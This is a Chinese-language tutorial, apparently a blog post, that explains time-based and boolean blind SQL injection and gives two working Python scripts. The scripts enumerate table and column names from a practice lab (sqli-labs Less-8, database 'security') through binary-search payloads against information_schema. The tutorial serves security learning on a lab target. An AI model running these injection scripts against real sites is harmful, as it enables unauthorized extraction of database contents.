sql注入之python脚本进行时间盲注和布尔盲注

一、什么是时间盲注和布尔盲注?

答:时间盲注是攻击者通过构造恶意sql语句利用sleep()等延迟函数来观察数据库响应时间差异来进行推断信息和条件判断。如果条件为真,数据库会执行延时操作,如果为假则立即返回。响应时间较短。

SELECT IF(1=1, SLEEP(5), 0);

如果条件为真、数据库会暂停5s

如果条件为假、数据库会立即返回

布尔盲注通过观察数据库返回的不同响应(如真或假)来推断信息。攻击者构造SQL语句,利用条件语句改变页面响应内容或状态码,从而判断条件真假。

SELECT * FROM users WHERE username = 'admin' AND SUBSTRING(password, 1, 1) = 'a';

  • 如果密码的第一个字符是'a',查询返回结果,页面显示正常。

  • 如果不是,页面可能显示错误或无结果。

二、时间盲注和布尔盲注的共同点和区别是什么?

答:时间盲注和布尔盲注都是SQL注入攻击的形式,用于在无法直接获取数据的情况下推断数据库信息。

共同点:

1、两者都通过逐步推断来获取数据库信息,而不是直接获取数据。

2、都利用条件语句(如IF)来判断特定条件是否为真。

3、当应用程序不直接返回数据库错误信息或查询结果时,这两种方法都适用。

区别:

1、时间盲注通过数据库响应时间的差异来判断条件真假。布尔盲注通过页面响应内容或状态码的不同来判断条件真假。

2、时间盲注常常使用延时函数sleep()等来进行实现。布尔盲注使用语句if()、case()等实现。

3、时间盲注适用于无法通过页面响应内容或状态码判断条件真假的场景。布尔盲注适用于可以通过页面响应内容或状态码判断条件真假的场景。

三、通过python编写boolen盲注代码获取数据库

1、输入id,?id=1后。显示You are in......

2、输入?id=1'后、发现没有回显。

3、判断字段数,?id=1' order by 3 --+后, 还是显示You are in...

4、联合查询, ?id=1'union select 1,2,3--+后,显示You are in...

5、根据以上判断、可能存在boolen盲注。

获取数据库表:

python 复制代码
import requests

def table_names(url, database_name):
    table_names = []  # 用于存储所有表名
    max_length = 20  # 假设每个表名的最大长度为20
    # 限制字符范围:数字、字母、下划线
    allowed_chars = list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95]  # 0-9, A-Z, a-z, _
    # 获取数据库中所有表的个数
    # 查询所有表:我们假设表名的个数不超过100
    num_tables = 100
    for table_index in range(num_tables):
        table_name = ''
        for i in range(1, max_length + 1):
            low = min(allowed_chars)  # 最小值:'0',ASCII 48
            high = max(allowed_chars)  # 最大值:'z',ASCII 122
            middle = (low + high) // 2
            while low < high:
                # 构造布尔盲注的 payload,查询当前表的名字
                payload = f"1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='{database_name}' LIMIT {table_index},1),{i},1))>{middle}-- "
                params = {"id": payload}
                r = requests.get(url, params=params)
                # 判断注入是否成功,依据靶场的返回信息
                if 'You are in' in r.text:  # 判断返回信息
                    low = middle + 1
                else:
                    high = middle
                middle = (low + high) // 2
            # 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符
            if middle in allowed_chars:  # 确保是有效字符
                table_name += chr(middle)
            # 每次获取一个字符后打印当前的表名
            print(f"Current table name: {table_name}")
            # 重置 low 和 high 的值
            low = min(allowed_chars)
            high = max(allowed_chars)
            middle = (low + high) // 2
        if table_name:  # 如果当前表名非空,则保存它
            table_names.append(table_name)
        # 如果注入出了多个表,可以停止
        if len(table_names) >= 5:  # 假设只注入前五个表名
            break
    print(f"Final table names: {table_names}")

if __name__ == "__main__":
    url = "http://sqllab.com/Less-8/"
    database_name = "security"  # 目标数据库名称
    table_names(url, database_name)

获取数据库列:

python 复制代码
import requests

def column_names(url, database_name, table_name):
    column_names = []  # 用于存储所有列名
    max_length = 20  # 假设列名最大长度为20
    # 限制字符范围:数字、字母、下划线
    allowed_chars = list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95]  # 0-9, A-Z, a-z, _
    # 获取表的所有列的个数
    num_columns = 100  # 假设该表最多有100列
    for column_index in range(num_columns):
        column_name = ''
        for i in range(1, max_length + 1):
            low = min(allowed_chars)  # 最小值:'0',ASCII 48
            high = max(allowed_chars)  # 最大值:'z',ASCII 122
            middle = (low + high) // 2
            while low < high:
                # 构造布尔盲注的 payload,查询当前列的名字
                payload = f"1' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema='{database_name}' AND table_name='{table_name}' LIMIT {column_index},1),{i},1))>{middle}-- "
                params = {"id": payload}
                r = requests.get(url, params=params)
                # 判断注入是否成功,依据靶场的返回信息
                if 'You are in' in r.text:  # 判断返回信息
                    low = middle + 1
                else:
                    high = middle
                middle = (low + high) // 2
            # 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符
            if middle in allowed_chars:  # 确保是有效字符
                column_name += chr(middle)
            # 每次获取一个字符后打印当前的列名
            print(f"Current column name: {column_name}")
            # 重置 low 和 high 的值
            low = min(allowed_chars)
            high = max(allowed_chars)
            middle = (low + high) // 2
        # 检查是否是有效的列名
        if column_name and not column_name.startswith("0"):  # 去掉以 "0" 开头的无效列名
            column_names.append(column_name)
        # 如果注入出了多个列,可以停止
        if len(column_names) >= 5:  # 假设只注入前五个列名
            break
    # 输出最终的列名
    print(f"Final column names: {column_names}")
if __name__ == "__main__":
    url = "http://sqllab.com/Less-8/"
    database_name = "security"  # 目标数据库名称
    table_name = "users"  # 目标表名
    column_names(url, database_name, table_name)
相关推荐
TE-茶叶蛋16 分钟前
Redis 原子操作
数据库·redis·缓存
Linux运维老纪19 分钟前
Python文件操作及数据库交互(Python File Manipulation and Database Interaction)
linux·服务器·数据库·python·云计算·运维开发
Bruce_Liuxiaowei25 分钟前
MCP Python SDK构建的**SQLite浏览器**的完整操作指南
数据库·python·sqlite
数据与人工智能律师38 分钟前
正确应对监管部门的数据安全审查
大数据·网络·数据库·人工智能·区块链
2401_8979300644 分钟前
什么是非关系型数据库
数据库·oracle
鱼丸丶粗面1 小时前
Python 读取 txt 文件详解 with ... open()
linux·数据库·python
拾荒者.1261 小时前
设计一个关键字统计程序:利用HashMap存储关键字统计信息,对用户输入的关键字进行个数统计。
数据库·python·mysql
encoding-console1 小时前
欧拉环境(openEuler 22.03 LTS SP3)安装移动磐维数据库(PanWeiDB_V2.0-S2.0.2_B01)步骤
数据库·虚拟机·欧拉·磐维数据库
Thanks_ks1 小时前
深入理解网络安全中的加密技术
网络安全·非对称加密·对称加密·密钥管理·加密技术·https 安全·量子计算安全
辰哥单片机设计1 小时前
PTC加热片详解(STM32)
数据库·mongodb